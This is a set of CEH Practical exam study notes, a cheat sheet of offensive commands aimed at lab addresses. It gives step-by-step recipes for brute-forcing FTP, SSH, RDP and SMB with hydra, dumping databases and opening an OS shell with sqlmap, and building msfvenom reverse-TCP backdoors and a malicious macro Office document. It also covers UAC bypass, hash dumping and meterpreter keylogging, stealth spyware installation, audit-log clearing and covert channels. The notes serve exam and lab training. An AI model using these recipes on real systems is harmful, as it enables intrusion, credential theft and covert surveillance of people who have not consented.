CEH Practical Notes

Contents

[Android 4](#_Toc168362699)

[PhoneSploit 4](#_Toc168362700)

[Windows 4](#_Toc168362701)

[Add a user using CMD 4](#_Toc168362702)

[Cryptography 4](#_Toc168362703)

[Hash identifier and Hash cracking 4](#_Toc168362704)

[Hash Identifier 4](#_Toc168362705)

[Hash-identifier (CLI) 4](#_Toc168362706)

[Hash Crack 4](#_Toc168362707)

[Hashcat 4](#_Toc168362708)

[John the Ripper 5](#_Toc168362709)

[Hydra 5](#_Toc168362710)

[Enumeration 6](#_Toc168362711)

[SNMP Enumeration 6](#_Toc168362712)

[NetBios Enumeration 6](#_Toc168362713)

[Domain Users 6](#_Toc168362714)

[User Enumeration: 6](#_Toc168362715)

[Enumerating a Target Network using Nmap and Net Use 6](#_Toc168362716)

[Enumerating Services on a Target Machine with Nmap 7](#_Toc168362717)

[SNMP Enumeration Using snmp\_enum with Nmap & Metasploit 7](#_Toc168362718)

[Enumerating information from Windows and Samba host using Enum4linux 7](#_Toc168362719)

[SQL Injection 7](#_Toc168362720)

[OWASP ZAP 7](#_Toc168362721)

[SQL MAP 7](#_Toc168362722)

[Scanning Nmap 8](#_Toc168362723)

[Avoiding Scanning Detection using Multiple Decoy IP Addresses 9](#_Toc168362724)

[Steganography 9](#_Toc168362725)

[Wireshark 9](#_Toc168362726)

[To find DOS (SYN and ACK) 9](#_Toc168362727)

[To find passwords 9](#_Toc168362728)

[WordPress 9](#_Toc168362729)

[Foot Printing and Recon 9](#_Toc168362730)

[Open-Source Information Gathering Using Windows Command Line Utilities 9](#_Toc168362731)

[Collecting Information About a Target Website Using Firebug 9](#_Toc168362732)

[Mirroring Website Using HTTrack Web Site Copier 10](#_Toc168362733)

[Advanced Network Route Tracing Using Path Analyzer Pro 10](#_Toc168362734)

[Information Gathering Using Metasploit 10](#_Toc168362735)

[Scanning Networks 10](#_Toc168362736)

[UDP and TCP Packet Crafting Techniques using HPING3 10](#_Toc168362737)

[Scanning The Network Using The Colasoft Packet Builder 10](#_Toc168362738)

[Basic Network Troubleshooting Using MegaPing 10](#_Toc168362739)

[Exploring Various Network Scanning Techniques 11](#_Toc168362740)

[Drawing Network Diagrams Using Network Topology Mapper 11](#_Toc168362741)

[Checking for Live Systems Using Angry IP Scanner 11](#_Toc168362742)

[Vulnerability Analysis 11](#_Toc168362743)

[Vulnerability Analysis Using Nessus 11](#_Toc168362744)

[CGI Scanning with Nikto 11](#_Toc168362745)

[System Hacking 11](#_Toc168362746)

[Dumping and Cracking SAM Hashes to Extract Plaintext Passwords 11](#_Toc168362747)

[Creating and Using Rainbow Tables 12](#_Toc168362748)

[Auditing System Passwords Using L0phtCrack 12](#_Toc168362749)

[Exploiting Client Side Vulnerabilities and Establishing a VNC Session 12](#_Toc168362750)

[Escalating Privileges by Exploiting Client-Side Vulnerabilities 12](#_Toc168362751)

[Hacking Windows 10 using Metasploit, and Post-Exploitation Using Meterpreter 13](#_Toc168362752)

[User System Monitoring and Surveillance Using Spytech SpyAgent 14](#_Toc168362753)

[Web Activity Monitoring and Recording using Power Spy 14](#_Toc168362754)

[Hiding Files Using NTFS Streams 14](#_Toc168362755)

[Hiding Data Using White Space Steganography 14](#_Toc168362756)

[Viewing, Enabling, and Clearing Audit Policies Using Auditpol 14](#_Toc168362757)

[Covert Channels using Covert\_TCP 14](#_Toc168362758)

[Hacking Windows Server 2012 with a Malicious Office Document Using TheFatRat 15](#_Toc168362759)

[Active Online Attack using Responder (LLMNR and NBT-NS) 15](#_Toc168362760)

[Hacking Web Servers 16](#_Toc168362761)

[Performing Web Server Reconnaissance using Skipfish 16](#_Toc168362762)

[Footprinting a Web Server Using the httprecon Tool 16](#_Toc168362763)

[Footprinting a Web Server Using ID Serve 16](#_Toc168362764)

[Cracking FTP Credentials Using Dictionary Attack 16](#_Toc168362765)

[Uniscan Web Server Fingerprinting in Kali Linux 16](#_Toc168362766)

# Android

## PhoneSploit

Link: https://n00bie.medium.com/hacking-android-using-phonesploit-ffbb2a899e6

apt-get install adb

git clone github.com/01010000/phonesploit (OR find phonesploit)

cd phonesploit

python3 phonesploit.py

3 (Connect to new phone)

Add IP address of android device

4 (Access shell on phone)

IP address again of android device

# Windows

## Add a user using CMD

net user

net user Test /Add

net user

net user Test

net localgroup Administrators Test /Add

# Cryptography

## Hash identifier and Hash cracking

### Hash Identifier

* <https://www.onlinehashcrack.com/hash-identification.php>

### Hash-identifier (CLI)

### Hash Crack

* <https://crackstation.net/>
* <https://hashes.com/en/decrypt/hash>

### Hashcat

Hashcat -a 3 -m 900 hash.txt /rockyou.txt

* -a attack mode
* -m hash type
  + 900 md4
  + 1000 NTLM
  + 1800 SHA512CRYPT
  + 110 SHA1 with SALT HASH
  + 0 MD5
  + 100 SHA1
  + 1400 SHA256
  + 3200 BCRYPT
  + 160 HMAC-SHA1

### John the Ripper

1. First analyze hash type:

john hashfile.hash

1. Then crack hash:

john hashfile.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA1

1. Show the cracked password:

john --show --format=Raw-SHA1 hashfile.hash

john --show hashfile.hash

#### Single crack mode

john --single --format=raw-sha1 crack.txt

#### Crack the password in file using wordlist

john --wordlist=/usr/share/john/password.lst --format=raw-sha1 crack.txt (Crack.txt here contains the hashes)

#### Cracking service credentials like SSH

1. First have to convert the hash file to JOHN format:

ssh2john /home/text/.ssh/id\_rsa > crack.txt

2. Now we need to crack this crack.txt file with John The Ripper

john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

#### To crack ZIP

zip2john file.zip > crack.txt

john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

–wordlist can be written as -w also

john crack.txt --wordlist=rockyou.txt --format=Raw-SHA256

### Hydra

#### FTP

hydra -l user -P passlist.txt [ftp://10.10.46.122](<ftp://10.10.46.122/>)

hydra -L userlist.txt -P passlist.txt [ftp://10.10.46.122](<ftp://10.10.46.122/>)

hydra -L /root/Desktop/Wordlists/Usernames.txt -P /root/Desktop/Wordlists/Passwords.txt <ftp://[IP>]

hydra -l root -P passwords.txt [-t 32] <IP> ftp

#### SSH

hydra -l <username> -P <full path to pass> 10.10.46.122 -t 4 ssh

hydra -l root -P passwords.txt <IP> ssh

#### Post Web Form

hydra -l <username> -P <wordlist> 10.10.46.122 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V

#### MySQL

hydra -L usernames.txt -P pass.txt <IP> mysql

#### POP3

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V

#### RDP

hydra -V -f -L <userslist> -P <passwlist> \*\*\*rdp\*\*\*://<IP>`

#### SNMP

hydra -P common-snmp-community-strings.txt target.com snmp

#### SMB

hydra -l Administrator -P words.txt 192.168.1.12 smb t 1

# Enumeration

## SNMP Enumeration

nmap

-sU -P 161 IP

snmp-check IP

* Displays Network Info, Network Interfaces, Network IP, Routing Info, TCP connection and listening, process, Storage info, File System and Device Info.

## NetBios Enumeration

nbstat -a IP

* -a netbios name table
* -c list contents of Netbios name cache

net use

* Displays connection status, Shared folder/drive and Network Information.

## Domain Users

NET USERS /DOMAIN >USERS.TXT

Domain: TEST.local

### User Enumeration:

#### Windows:

net user

net user /domain

net user [username]

net user [username] /domain

## Enumerating a Target Network using Nmap and Net Use

nmap -O 10.10.10.12

You see that ports 135, 139, 445, etc. are open, and port 139 is using NetBIOS.

Windows 2012, nbtstat –A 10.10.10.16

net use (to view the created null sessions/shared folders from your host)

net use \\10.10.10.16\e ““\user:”” (create a null session)

net use \\10.10.10.16\e ““/user:””

## Enumerating Services on a Target Machine with Nmap

nmap -sP 10.10.10.0/24 (ping sweep scan)

nmap -sS 10.10.10.12 (stealthy SYN scan)

nmap -sSV -O 10.10.10.12 (stealthy SYN scan with version detection along with OS detection)

nmap -sSV -O 10.10.10.12 -oN Enumeration.txt

## SNMP Enumeration Using snmp\_enum with Nmap & Metasploit

nmap –sU –p 161 10.10.10.12

nmap -sU -p 161 --script=snmp-brute 10.10.10.12 (snmp-brute script will extract the SNMP community string from the target machine)

msfconsole

use auxiliary/scanner/snmp/snmp\_login

show options

set RHOSTS 10.10.10.12

exploit

use auxiliary/scanner/snmp/snmp\_enum

set RHOSTS 10.10.10.12

exploit

## Enumerating information from Windows and Samba host using Enum4linux

enum4linux -u martin -p apple -U 10.10.10.12 (user list)

enum4linux -u martin -p apple -o 10.10.10.12 (Operating System details)

enum4linux -u martin -p apple -P 10.10.10.12 (Password Policy Information)

enum4linux -u martin -p apple -G 10.10.10.12 (Groups details)

enum4linux -u martin -p apple -S 10.10.10.12 (Share Policy Information)

# SQL Injection

## OWASP ZAP

* Open the ZAP
* Add the webiste name to Autoscan
* Click on the Alert tab to know about Vulnerabilities

## SQL MAP

* Open the vulnerable website
* Copy the cookie from the inspect element
* Open the terminal to use sqlmap

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl="; --dbs

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=; ui-tabs-1=0" -D moveiscope --tables

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=; ui-tabs-1=0" -D moviescope -T user-Login --dump

You will get all the Useraname and Passwords of the website.

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=; ui-tabs-1=0" --os-shell

It opens up the Interactive OS shell.

mysql -U qdpmadmin -h 192.168.1.8 -P passwod

show databases;

use qdpm;

show tables'

select \* from users;

show dtabases;

use staff;

show tables;

select \* from login;

select \* from user;

When you have username and Password for the database.

# Scanning Nmap

nmap -sn 10.10.10.10/24 -oN nmap.txt

nmap -sC -sV -sS -O 10.10.10.11 -oN nmap.txt

nmap -A 10.10.10.10/24 -oN nmap.txt

nmap -sV -sC -pA nmap 10.10.10.x

nmap -sC -sV -v -oN nmap.txt 10.10.10.10

nmap -sU -sV -A t4 -v -oN udp.txt 10.10.10.1

nmap -f IP

nmap -sn -PR IP

nmap -sn -PE ip-range

nmap -sn 10.10.10.10/24

nmap -sC -sS -sV -O IP

nmap -A IP

* -sn disable port scan
* -PR ARP ping scan
* -PU UDP ping scan
* -PE ICMP ECHO ping scan
* -f Splits IP into fragment packets

nmap --script smb-os-discovery.nse IP

* Displays OS, Computer-Name, Domain, WorkGroup and Ports.

TCP Connect Scan

nmap -sT -T3 -A 10.10.10.12

Xmas scan

nmap -sX -T4 10.10.10.12

ACK Scan

nmap -sA -v -T4 10.10.10.12

IDLE scan

nmap -Pn -p 80 -sI 10.10.10.16 10.10.10.12

Ping sweep

nmap -sP 10.10.10.\*

## Avoiding Scanning Detection using Multiple Decoy IP Addresses

nmap -f 10.10.10.10

nmap -mtu 8 10.10.10.10

nmap -D RND:10 10.10.10.10

# Steganography

snow.exe -C -p "test" confidential.txt

* -C compressing / uncompressing
* -p password

Open Stego: GUI tool

# Wireshark

## To find DOS (SYN and ACK)

* tcp.flags.syn == 1 , tcp.flags.syn == 1 and tcp.flags.ack == 0
* Look for Red and Black packets with around 1-2 simple packets in between and then pick any packet and check the Source and Destination IP with port.

## To find passwords

* http.request.method == POST

# WordPress

wpscan --url http://172.16.0.27:8080/CEH/ -u james -P /path/pass.txt

wpscan --url https://example/ --enumerate u (To enumerate the user)

# Foot Printing and Recon

## Open-Source Information Gathering Using Windows Command Line Utilities

ping -c 3 10.10.10.10

ping www.moviescope.com –f –l 1500 (Packet needs to be fragmented but DF set)

ping www.moviescope.com –f –l 1472

tracert www.moviescope.com

## Collecting Information About a Target Website Using Firebug

Firebug / developer tools

## Mirroring Website Using HTTrack Web Site Copier

## Advanced Network Route Tracing Using Path Analyzer Pro

Timed trace

## Information Gathering Using Metasploit

service postgresql start

msfdb init

service postgresql restart

msfconsole

db\_status

nmap -Pn -sS -A -oX Test 10.10.10.0/24

db\_import Test

hosts

db\_nmap -sS -A 10.10.10.16

services

use scanner/smb/smb\_version

show options

set RHOSTS 10.10.10.8-16

set THREADS 100

run

hosts

# Scanning Networks

## UDP and TCP Packet Crafting Techniques using HPING3

hping3 -1 No ICMP

hping3 -s SYN

hping3 -c count

hping3 --scan 1-1024

hping3 10.10.10.10 --udp --rand-source --data 500

hping3 -S 10.10.10.10 -p 80 -c 5

hping3 10.10.10.10 --flood

e.g.

hping3 --scan 1-3000 -S 10.10.10.10

hping3 10.10.10.10 --udp --rand-source --data 500

hping3 -S 10.10.10.10 -p 80 -c 5

## Scanning The Network Using The Colasoft Packet Builder

* ARP Packet template, set Delta Time as 0.1
* Send All Packets window, check the Burst Mode

## Basic Network Troubleshooting Using MegaPing

* Host scanner
* Port scanner

## Exploring Various Network Scanning Techniques

TCP connect() scan uses a normal TCP connection to determine if a port is available. Xmas Scan involves sending TCP segments with the all flags sent in the packet header, generating packets that are illegal according to RFC 793. ACK Flag Scan involves sending ACK probe packet with random sequence number. UDP Scan involves sending a generic UDP packet to the target. IDLE Scan involves sending spoofed packets to a target.

## Drawing Network Diagrams Using Network Topology Mapper

Solarwinds network topology mapper

## Checking for Live Systems Using Angry IP Scanner

Scanning hosts/ports (Windows tool)

# Vulnerability Analysis

## Vulnerability Analysis Using Nessus

* <https://localhost:8834>
* Username: admin / Password: password
* Create a new policy
* Policy Templates > Advanced Scan
* Settings section, select Host Discovery from the DISCOVERY drop-down list. Turn off Ping the remote host option (toggle the blue switch to left).
* Select Port Scanning and check the Verify open TCP ports found by local port enumerators option.
* Setting section, select ADVANCED The Policy General Settings window with Advanced Setting Type appears. Set the values of Max number of TCP sessions per host and Max number of TCP sessions per scan as unlimited.
* Create a new scan with new policy.
* Schedule settings > turn off the Enabled switch, select Launch from the drop-down list to start the scan.

## CGI Scanning with Nikto

Nikto is not a stealthy tool, it scans a webserver in the shortest time but will get logged in an IDS/IPS.

nikto -h

nikto -H

nikto -h http://www.goodshopping.com -Tuning 1

# System Hacking

## Dumping and Cracking SAM Hashes to Extract Plaintext Passwords

The Security Account Manager (SAM) is a database file present on Windows machines that stores user accounts and security descriptors for users on a local computer. It stores users' passwords in a hashed format (in LM hash and NTLM hash). You need to have administrator access to dump the contents of the SAM file.

cmd (administrator mode)

wmic useraccount get name,sid

PwDump7.exe > c:\hashes.txt

replace the box symbols before each user ID with its respective User Name

ophcrack\x86\ophcrack.exe

Load PWDUMP file

Table Selection window appears, select Vista free in the list and click Install.

Crack.

## Creating and Using Rainbow Tables

Winrtgen

Add table

Rainbow Table properties window appears. Select ntlm from Hash dropdown list. Set Min Len as 4, Max Len as 6 and Chain Count 4000000. Select loweralpha from Charset dropdown list (it depends upon Password)

rcrack\_gui.exe to launch the RainbowCrack

File > Load NTLM Hashes from PWDUMP File

Rainbow Table > Search Rainbow Table

## Auditing System Passwords Using L0phtCrack

* Password Auditing Wizard
* Choose Audit Type section appears, select Strong Password Audit

## Exploiting Client Side Vulnerabilities and Establishing a VNC Session

msfvenom -p windows/meterpreter/reverse\_tcp --platform windows -a x86 -f exe LHOST=10.10.10.11 LPORT=444 -o /root/Desktop/Test.exe

Share Test.exe with http

msfconsole

use multi/handler and press Enter.

set payload windows/meterpreter/reverse\_tcp and press Enter.

set LHOST 10.10.10.11 and press Enter.

set LPORT 444 and press Enter.

run

Download and run Test.exe in target Windows machine. Observe that one session is created or opened in the Meterpreter shell. If the meterpreter command line does not start interacting with the victim machine automatically, type sessions -i 1 and press Enter to start interacting with the victim machine.

meterpreter command line type sysinfo.

run vnc

TightVNC: window appears with the victim Desktop showing in the window.

## Escalating Privileges by Exploiting Client-Side Vulnerabilities

msfvenom -p windows/meterpreter/reverse\_tcp --platform windows -a x86 -e x86/shikata\_ga\_nai -b "\x00" LHOST=10.10.10.11 -f exe > Desktop/Exploit.exe

Share Exploit.exe with http

msfconsole

use exploit/multi/handler and press Enter.

set payload windows/meterpreter/reverse\_tcp and press Enter.

set LHOST 10.10.10.11 and press Enter.

To start the listener, type exploit -j -z and press Enter. Download and run Exploit.exe in target Windows machine. Observe that one session is created or opened in the Meterpreter shell. Type sessions -i 1 and press Enter to start interacting with the victim machine.

getuid

Type run post/windows/gather/smart\_hashdump and press Enter. The command fails to dump the passowrd hashes because of insufficient privileges. We shall try to escalate the privileges by trying to bypass the user account control setting which is blocking you from gaining unrestricted access to the machine. You will now issue a getsystem command that attempts to elevate the user privileges. The command issued is getsystem -t 1 which uses the Service - Named Pipe Impersonation (In Memory/Admin) Technique. This command also fails to escalate the privileges in our case.

background

use exploit/windows/local/bypassuac\_fodhelper

show options

set SESSION 1

set payload windows/meterpreter/reverse\_tcp

show options

set LHOST 10.10.10.11

set TARGET 0 (0 is nothing but Exploit Target ID)

exploit

getuid

Re-issue the getsystem command, in attempt to elevate privileges. Type getsystem and press Enter. Type getuid and press Enter. The meterpreter session is now running with SYSTEM privileges (NT AUTHORITY\SYSTEM)

run post/windows/gather/smart\_hashdump

## Hacking Windows 10 using Metasploit, and Post-Exploitation Using Meterpreter

msfvenom -p windows/meterpreter/reverse\_tcp --platform windows -a x86 -e x86/shikata\_ga\_nai -b "\x00" LHOST=10.10.10.11 -f exe > Desktop/Backdoor.exe

Share Backdoor.exe with http

msfconsole

use exploit/multi/handler and press Enter.

set payload windows/meterpreter/reverse\_tcp and press Enter.

set LHOST 10.10.10.11 and press Enter.

show options

To start the listener, type exploit -j -z and press Enter. Download and run Backdoor.exe in target Windows machine. Observe that one session is created or opened in the Meterpreter shell. Type sessions -i 1 and press Enter to start interacting with the victim machine.

sysinfo

ipconfig

getuid

pwd

ls

MACE attributes of secret.txt, type timestomp secret.txt -v

cd C:\; pwd; ls;

download bootmgr

search -f pagefile.sys

keyscan\_start

keyscan\_dump

idletime

shutdown

## User System Monitoring and Surveillance Using Spytech SpyAgent

Establish Remote Desktop Connection and install SpyAgent.

Setup password=spytech

Complete + Stealth Configuration

Load on Windows Startup

Start Monitoring

To bring SpyAgent out of stealth mode press CTRL+Shift+Alt+M

## Web Activity Monitoring and Recording using Power Spy

* Establish Remote Desktop Connection and install Power Spy.
* Setup Power Spy
* Stealth Configuration
* Use Ctrl+Alt+X keys to unhide.

## Hiding Files Using NTFS Streams

type c:\magic\calc.exe > c:\magic\readme.txt:calc.exe

mklink backdoor.exe readme.txt:calc.exe

## Hiding Data Using White Space Steganography

snow -C -m "My swiss bank account number is 45656684512263" -p "magic" readme.txt readme2.txt

snow -C -p "magic" readme2.txt

## Viewing, Enabling, and Clearing Audit Policies Using Auditpol

auditpol /get /category:\*

auditpol /set /category:"system","account logon" /success:enable /failure:enable

auditpol /get /category:\*

auditpol /clear /y

auditpol /get /category:\*

## Covert Channels using Covert\_TCP

* In Kali Linux, cc -o covert\_tcp covert\_tcp.c Do the same in Ubuntu
* To start a listener, type ./covert\_tcp –dest 10.10.10.9 –source 10.10.10.11 –source\_port 9999 –dest\_port 8888 –server –file /home/ubuntu/Desktop/receive/receive.txt
* In Kali Linux, Applications --> Sniffing & Spoofing and select Wireshark, monitor eth0

./covert\_tcp –dest 10.10.10.9 –source 10.10.10.11 -source\_port 8888 –dest\_port 9999 –file /root/Desktop/send/message.txt

* Covert\_tcp changes header of the tcp packets and replaces it with the characters of the string one character at a time to send the message without being detected.
* If you examine the communication between Ubuntu and Kali machines, i.e. 10.10.10.11 and 10.10.10.9 you will find each character of the message string being sent in individual packets over the network.

## Hacking Windows Server 2012 with a Malicious Office Document Using TheFatRat

* In Kali Linux, open fatrat
* [06] Create Fud Backdoor 1000% with PwnWinds [Excelent]
* [3] Create exe file with apache + Powershell (FUD 100%)
* Set LHOST IP, LPORT(4444), Output file
* Choose Payload option, choose [ 3 ] windows/meterpreter/reverse\_tcp by typing 3
* Type 8 and press Enter to go to the application main menu
* [07] Create Backdoor For Office with Microsploit by typing 7
* |2| The Microsoft Office Macro on Windows by typing 2
* Set LHOST IP, LPORT(4444), Output file

In Enter the message for the document body (ENTER = default):, leave it to default. In Are you want Use custom exe file backdoor (y/n) option type y.

Type /root/TheFatRat/output/payload.exe as Path

[ 3 ] windows/meterpreter/reverse\_tcp by typing 3

Share the doc with web server.

msfconsole

use multi/handler and press Enter.

set payload windows/meterpreter/reverse\_tcp and press Enter.

set LHOST 10.10.10.11 and press Enter.

set LPORT 4444 and press Enter.

run(start the listener)

Windows 2012, open the shared document in MS Word. Enable Content in the Security Warning alert. In Kali Linux, observe that one session is created or opened in the Meterpreter shell. (if not type sessions -i 1)

sysinfo

## Active Online Attack using Responder (LLMNR and NBT-NS)

* In Kali Linux, responder -I eth0
* Windows 10 victim machine, run > type \\ceh-tools in the Open field and click OK. Leave the Windows 10 machine running and switch back to Kali Linux machine.
* When DNS resolution for this host fails, the machine will attempt to ask all other machines on the local network for the correct address via LLMNR on UDP/5355 or NBT-NS on UDP/137. An attacker can listen on a network for these LLMNR/NBT-NS broadcasts and respond to them.
* Responder will collect the access credential hashes of the user logged in the victim machine. By default Responder stores logs in usr/share/responder/logs.
* Crack passwords: john /usr/share/responder/logs/<file name of the logs.txt>

# Hacking Web Servers

## Performing Web Server Reconnaissance using Skipfish

skipfish -o /root/test -S /usr/share/skipfish/dictionaries/complete.wl http://[IP Address of Windows Server 2012]:8080

## Footprinting a Web Server Using the httprecon Tool

Windows tool

## Footprinting a Web Server Using ID Serve

## Cracking FTP Credentials Using Dictionary Attack

nmap -p 21 10.10.10.10

hydra -L /root/Desktop/Wordlists/Usernames.txt -P /root/Desktop/Wordlists/Passwords.txt ftp://[IP Address of Windows 10]

## Uniscan Web Server Fingerprinting in Kali Linux

uniscan -h

uniscan -u http://10.10.10.12:8080/CEH -q

uniscan -u http://10.10.10.12:8080/CEH -we

uniscan -u http://10.10.10.12:8080/CEH -d

/usr/share/uniscan/report